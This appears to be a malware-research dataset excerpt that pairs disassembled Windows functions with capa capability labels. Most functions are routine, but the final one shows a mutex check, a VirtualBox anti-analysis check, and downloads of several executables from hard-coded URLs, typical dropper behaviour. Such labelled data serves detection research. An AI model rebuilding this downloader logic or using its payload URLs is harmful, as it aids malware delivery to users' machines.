joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416910
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41693b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41695f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41697a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41b021
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41b063
call fcn.0041f801
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41b063
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41b05a
xor eax, eax
jmp 0x41b06b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041b071
pop edi
pop esi
pop ebx
ret 4

Function at 0x41ff5f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x41ff8d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x41ffab
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0041fec5
jmp 0x41ffab
mov eax, dword [esi + 0x14]
test eax, eax
je 0x41ffab
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0041fec5
test edi, edi
mov eax, edi
jne 0x41ff95
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x404070
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411c8b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x418358]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0040711c
push 4
mov dword [ebp - 4], 0
call fcn.0040777c
mov edi, eax
add esp, 4
test edi, edi
je 0x4040ec
call fcn.0040658a
mov dword [edi], eax
call fcn.00406349
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040627e
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4040e2
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004062a6
jmp 0x4040ee
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x407207
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x418358]
jne 0x407211
repz ret
jmp fcn.00409e4d
Function at 0x410d8c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418358]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b07c
and dword [ebp - 0x14], 0
cmp dword [0x41a118], 0
mov dword [ebp - 0x18], eax
jne 0x410e3f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x410ee7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x410ee7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41a118], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41a11c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41a120], eax
call edi
push eax
call esi
mov dword [0x41a128], eax
test eax, eax
je 0x410e3f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41a124], eax
mov eax, dword [0x41a124]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x410e98
cmp dword [0x41a128], ecx
je 0x410e98
push eax
call esi
push dword [0x41a128]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x410e98
test ebx, ebx
je 0x410e98
call edi
test eax, eax
je 0x410e8f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x410e8f
test byte [ebp - 8], 1
jne 0x410e98
or dword [ebp + 0x10], 0x200000
jmp 0x410ecb
mov eax, dword [0x41a11c]
cmp eax, dword [ebp - 0x18]
je 0x410ecb
push eax
call esi
test eax, eax
je 0x410ecb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x410ecb
mov eax, dword [0x41a120]
cmp eax, dword [ebp - 0x18]
je 0x410ecb
push eax
call esi
test eax, eax
je 0x410ecb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41a118]
call esi
test eax, eax
je 0x410ee7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x410ee9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407207
leave
ret
Function at 0x100028a0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10014ac1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
push ebx
push ebp
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x10], ebx
call sub.MFC42.DLL_COleControl::COleControl
lea ecx, [ebx + 0x1c0]
mov dword [esp + 0x224], 0
call sub.MFC42.DLL_CToolTipCtrl::CToolTipCtrl
lea ecx, [ebx + 0x238]
mov byte [esp + 0x224], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [ebx + 0x23c]
mov byte [esp + 0x224], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebx + 0x240]
mov byte [esp + 0x224], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [ebx + 0x24c]
mov byte [esp + 0x224], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [ebx + 0x288]
mov byte [esp + 0x224], 5
call sub.MFC42.DLL_CString::CString
push 0x10017560
push 0x10017550
mov ecx, ebx
mov byte [esp + 0x22c], 6
mov dword [ebx], 0x100175f0
call sub.MFC42.DLL_COleControl::InitializeIIDs
call fcn.10012e70
lea eax, [esp + 0x14]
push 0x208
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
lea edx, [esp + 0x14]
je 0x100029a2
mov edi, str.MFC42.DLL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
jmp 0x100029bf
mov edi, 0x1001a364
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x100029ee
push str.DllRegisterServer
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100029e7
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call fcn.1000d4d0
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
mov eax, ebx
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x218
ret
Function at 0x1000c830
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0x10]
push ebx
push esi
xor esi, esi
xor eax, eax
dec ecx
test ecx, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], eax
jl 0x1000c879
mov edi, dword [esp + 0x18]
mov eax, esi
cdq
xor eax, edx
sub eax, edx
and eax, 1
xor eax, edx
sub eax, edx
xor edx, edx
mov dl, byte [ecx + edi]
mov ebx, dword [esp + eax*4 + 0xc]
lea eax, [esp + eax*4 + 0xc]
sub edx, 0x30
add ebx, edx
inc esi
dec ecx
mov dword [eax], ebx
jns 0x1000c84f
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
lea edx, [ecx + eax*2]
mov ecx, 0xa
add eax, edx
cdq
idiv ecx
mov eax, ecx
sub eax, edx
cmp eax, ecx
jl 0x1000c894
xor eax, eax
pop edi
pop esi
add eax, 0x30
pop ebx
add esp, 8
ret
Function at 0x1000fac0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10014fa0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], 0x10017b10
mov dword [esp + 0x14], edi
mov esi, dword [esp + 0x30]
mov dword [esp + 0x20], edi
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push eax
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CGdiObject::Attach
lea ecx, [esp + 0x10]
push 1
mov ebx, dword [esp + 0x30]
push ecx
mov ecx, ebx
call sub.MFC42.DLL_CDC::SelectClipRgn
mov ebp, dword [esp + 0x28]
mov eax, dword [ebp + 8]
cmp eax, 0x3d
ja case.0x1000fb37.6
xor edx, edx
mov dl, byte [eax + 0x1000fbb0]
jmp dword [edx*4 + 0x1000fb94]
push esi
push ebx
push ebp
call fcn.1000dcb0
add esp, 0xc
mov edi, eax
jmp case.0x1000fb37.0
push esi
push ebx
push ebp
call fcn.10010200
add esp, 0xc
mov edi, eax
jmp case.0x1000fb37.0
mov edi, 0xc020000f
mov dword [esp + 0x10], 0x10016b28
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call sub.MFC42.DLL_CGdiObject::DeleteObject
mov ecx, dword [esp + 0x18]
mov eax, edi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x14
ret 0xc
Function at 0x10012df0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, eax
mov edi, ecx
mov edx, eax
je 0x10012e28
push ebx
xor ecx, ecx
mov cl, byte [edx + ebp]
mov ebx, ecx
lea ecx, [eax*8]
shl ebx, cl
add esi, ebx
inc eax
and eax, 3
inc edx
cmp edx, edi
jb 0x10012e0c
pop ebx
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
and eax, 0xffff
shl edx, 0x10
or eax, edx
and ecx, 0xff
shl eax, 8
or eax, ecx
mov ecx, dword [esp + 0x14]
mov edx, eax
add esi, ecx
shl edx, 0xc
sub edx, eax
pop edi
shl edx, 4
lea eax, [edx + eax + 0xd]
xor eax, esi
pop esi
pop ebp
ret

Function at 0x10012e70
Capabilities:
Get common file path
Get disk information

Disassembly:
sub esp, 0x178
lea eax, [esp + 0x10]
push 0x167
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
lea eax, [esp + 0xc]
mov cx, word [esp + 0x14]
mov dl, byte [esp + 0x16]
mov word [esp + 4], cx
mov byte [esp + 6], dl
push 0
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x10]
push ecx
push edx
push 0
lea eax, [esp + 0x18]
push 0
push eax
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x10012ecb
mov dword [esp + 4], 0x2ce634a
mov ecx, dword [esp + 4]
push ecx
push str._08lX
push 0x10029140
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
call fcn.10012f00
xor eax, eax
add esp, 0x178
ret
Function at 0x10012f00
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [str.00000000]
mov ecx, dword [0x1001ce0c]
mov dl, byte [0x1001ce10]
sub esp, 0xc
mov dword [0x100290c0], eax
mov dword [0x100290c4], ecx
push esi
push edi
mov edi, dword [str.DEMO_VERSION]
or ecx, 0xffffffff
xor eax, eax
mov byte [0x100290c8], dl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10029100
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
mov dword [0x100290e0], 0
push ecx
push 0x20019
push 0
push str.SOFTWARETEC_ITTBarCode2.0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100130f1
mov ecx, dword [esp + 0xc]
lea edx, [esp + 8]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edx
lea eax, [esp + 0x18]
push 0x100290c0
push eax
push 0
mov esi, 0x1e
push str.SoftKey
push ecx
mov dword [esp + 0x24], esi
call ebp
test eax, eax
je 0x10012fd0
mov edx, dword [str.00000000]
mov eax, dword [0x1001ce0c]
mov cl, byte [0x1001ce10]
mov dword [0x100290c0], edx
mov dword [0x100290c4], eax
mov byte [0x100290c8], cl
jmp 0x10013008
mov cl, byte [0x100290c0]
xor edx, edx
test cl, cl
mov dword [esp + 0xc], edx
je 0x10013008
mov eax, 0x100290c0
shl dl, 1
sub cl, dl
mov edx, dword [esp + 0xc]
dec cl
inc edx
not cl
mov byte [eax], cl
mov cl, byte [edx + 0x100290c0]
lea eax, [edx + 0x100290c0]
mov dword [esp + 0xc], edx
test cl, cl
jne 0x10012fe5
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x18]
push 0x10029100
push eax
push 0
push str.Licensee
push ecx
mov dword [esp + 0x24], esi
call ebp
test eax, eax
je 0x10013053
mov edi, dword [str.DEMO_VERSION]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x10029100
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push 0x100290e0
push ecx
push 0
mov esi, 4
push str.Licenses
push edx
mov dword [esp + 0x24], esi
call ebp
test eax, eax
je 0x10013087
mov dword [0x100290e0], 0
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push 0x10029120
push ecx
push 0
push str.Kind
push edx
mov dword [esp + 0x24], esi
call ebp
test eax, eax
je 0x100130b6
mov dword [0x10029120], 0
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push 0x100290e4
push ecx
push 0
push str.ProductID
push edx
mov dword [esp + 0x24], esi
call ebp
test eax, eax
je 0x100130e5
mov dword [0x100290e4], 3
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop edi
pop esi
add esp, 0xc
ret
Function at 0x100131a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x50
push ebx
push ebp
push esi
lea eax, [esp + 0x18]
push edi
push eax
mov dword [esp + 0x30], 0x3ba6afe1
mov dword [esp + 0x34], 0x8a73ff1c
mov dword [esp + 0x38], 0x45dd0091
mov dword [esp + 0x3c], 0x83e123
mov dword [esp + 0x40], 0xfe61e888
mov dword [esp + 0x44], 0x5a5a6b
mov dword [esp + 0x48], 0xb0207f05
mov dword [esp + 0x4c], 0x7a65bb00
mov dword [esp + 0x50], 0x303bb2ad
mov dword [esp + 0x54], 0x63debcad
mov dword [esp + 0x58], 0x23930561
mov dword [esp + 0x5c], 0xd4a1f6e
mov dword [esp + 0x60], 0xcc856310
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ebp, dword [esp + 0x64]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor esi, esi
xor edi, edi
test ecx, ecx
mov dword [esp + 0x10], edi
jle 0x10013264
cmp esi, 3
jae 0x10013264
xor eax, eax
test esi, esi
jbe 0x1001324f
mov dl, byte [edi + ebp]
cmp dl, byte [esp + eax + 0x64]
je 0x1001324f
inc eax
cmp eax, esi
jb 0x10013244
cmp eax, esi
jne 0x1001325b
mov dl, byte [edi + ebp]
mov byte [esp + esi + 0x64], dl
inc esi
inc edi
cmp edi, ecx
mov dword [esp + 0x10], edi
jl 0x10013236
mov ebx, dword [esp + 0x78]
mov eax, 0x1266
mov edi, dword [esp + 0x1e]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x3ba6afe1
push ebx
call fcn.10013320
add esp, 0x14
test eax, eax
jne 0x100132fb
lea eax, [esp + 0x14]
and edi, 0xffff
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + edi*4 + 0x30]
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
push ebx
call fcn.10013320
add esp, 0x14
test eax, eax
jne 0x100132fb
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x78]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x78]
push eax
mov eax, dword [esp + 0x78]
push ecx
mov ecx, dword [esp + 0x78]
push edx
push eax
push ecx
push ebp
call fcn.10012df0
add esp, 0x14
push eax
push ebx
call fcn.10013320
add esp, 0x14
test eax, eax
je 0x10013314
cmp dword [esp + 0x10], 0x20
jb 0x10013314
mov ecx, dword [esp + 0x14]
mov eax, 1
cmp ecx, eax
jne 0x10013314
cmp esi, 3
jae 0x10013316
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret
Function at 0x100133a0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x20
push ebx
push ebp
mov ebp, dword [esp + 0x38]
push esi
test ebp, ebp
push edi
jne 0x100133b4
mov ebp, 0x10027d8c
mov edi, dword [sym.imp.MSVCRT.dll_strncpy]
push 0x1e
lea eax, [esp + 0x14]
push ebp
push eax
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
mov byte [esp + 0x2d], 0
push ecx
call dword [sym.imp.MSVCRT.dll__strupr]
mov cl, byte [esp + 0x14]
add esp, 4
xor eax, eax
test cl, cl
je 0x10013401
lea esi, [esp + 0x10]
mov dl, al
shl dl, 1
not cl
add dl, cl
inc dl
inc eax
mov byte [esi], dl
mov cl, byte [esp + eax + 0x10]
lea esi, [esp + eax + 0x10]
test cl, cl
jne 0x100133e8
push 0x1e
push ebp
push 0x100290c0
call edi
mov ebx, dword [esp + 0x40]
add esp, 0xc
mov byte [0x100290dd], 0
push 0x1e
push ebx
push 0x10029100
call edi
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x50]
add esp, 0xc
mov dword [0x100290e0], eax
lea eax, [esp + 0x40]
push eax
push str.SOFTWARETEC_ITTBarCode2.0
push 0x80000002
mov byte [0x1002911d], 0
mov dword [0x10029120], ecx
mov dword [0x100290e4], edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100134f9
lea edi, [esp + 0x10]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x40]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
not ecx
push ecx
lea ecx, [esp + 0x14]
push ecx
push 1
push eax
push str.SoftKey
push edx
call esi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push ebx
push 1
push eax
mov eax, dword [esp + 0x50]
push str.Licensee
push eax
call esi
push 4
push 0x100290e0
mov ecx, dword [esp + 0x48]
push 4
push 0
push str.Licenses
push ecx
call esi
push 4
push 0x10029120
mov edx, dword [esp + 0x48]
push 4
push 0
push str.Kind
push edx
call esi
push 4
push 0x100290e4
mov eax, dword [esp + 0x48]
push 4
push 0
push str.ProductID
push eax
call esi
mov ecx, dword [esp + 0x40]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 0x14
Function at 0x401770
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x42d058]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push 7
xor eax, eax
mov dword [esp + 0x1c], 7
push 0x42a030
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0
mov word [esp + 0xc], ax
call fcn.004024a0
cmp dword [esp + 0x18], 8
lea eax, [esp + 4]
cmovae eax, dword [esp + 4]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4018eb
mov edx, 5
lea ecx, [esp + 0x1c]
call fcn.00407950
lea ecx, [esp + 0x1c]
call fcn.00403990
call fcn.00404440
test al, al
jne 0x401813
push 0xa
push str.VirtualBox
push dword [esp + 0x34]
push ecx
lea ecx, [esp + 0x2c]
call fcn.00401c20
test eax, eax
je 0x401813
xor bl, bl
jmp 0x401815
mov bl, 1
cmp dword [esp + 0x30], 8
jb 0x401828
push dword [esp + 0x1c]
call fcn.0040d8dc
add esp, 4
test bl, bl
jne 0x4018eb
push ecx
call fcn.004044f0
add esp, 4
mov ecx, str.http:__58.220.21.68:82_down_cj.exe
call fcn.004013a0
mov bl, al
mov ecx, str.http:__ww3.sinaimg.cn_mw690_006czSTKjw1evlzx2g0bsg3085064u17.gif
and bl, 1
call fcn.004013a0
test bl, al
je 0x40185f
push ecx
call fcn.004044f0
add esp, 4
mov ecx, str.http:__soft.kunjun.org:81_guding_QiJi_D10_1.exe
call fcn.004013a0
mov ecx, str.http:__ww3.sinaimg.cn_mw690_006czSTKjw1evtw7rmsm9g30a00a04kg.gif
call fcn.004013a0
mov ecx, str.http:__mino.ehijkdf.com:81_setup_all_guding_Setup_H300_adr_1.exe
call fcn.004013a0
mov ecx, str.http:__ww3.sinaimg.cn_mw690_006czSTKjw1evm0391i9cg3085064he7.gif
call fcn.004013a0
mov ecx, str.http:__down.360safe.com_p_360se_nanaxt9.exe
call fcn.004013a0
mov ecx, str.http:__ww3.sinaimg.cn_mw690_006czSTKjw1evu0nodba7g30cc06y16v.gif
call fcn.004013a0
mov ecx, str.http:__ww4.sinaimg.cn_mw690_006czSTKjw1evxf4r9tveg305a02su0z.gif
call fcn.004013a0
mov ecx, str.http:__ww2.sinaimg.cn_mw690_006czSTKjw1evv3phks2xg302s023b29.gif
call fcn.004013a0
mov ecx, str.http:__ww2.sinaimg.cn_mw690_006czSTKjw1evlzzhdo2wg3085064e83.gif
call fcn.004013a0
mov ecx, str.http:__down.56g7h.com_hezi_xx2015091017_setup_a1474_vmk.exe
call fcn.004013a0
mov ecx, str.http:__ww1.sinaimg.cn_mw690_006czSTKjw1evuwxiclwtg30ce083b2p.gif
call fcn.004013a0
mov ecx, str.http:__uniondown.union55.com_MAIQDS_aiqidou_1_10001_21_s.exe
call fcn.004013a0
mov ecx, str.http:__dl1sw.baidu.com_pcunion_5590b2ba_1202000284.exe
call fcn.004013a0
mov ecx, str.http:__ww3.sinaimg.cn_mw690_006czSTKjw1evv093hbk9g304g03qnpg.gif
call fcn.004013a0
cmp dword [esp + 0x18], 8
jb 0x4018fe
push dword [esp + 4]
call fcn.0040d8dc
add esp, 4
mov ecx, dword [esp + 0x34]
xor eax, eax
pop ebx
xor ecx, esp
call fcn.0040d8cd
mov esp, ebp
pop ebp
ret 0x10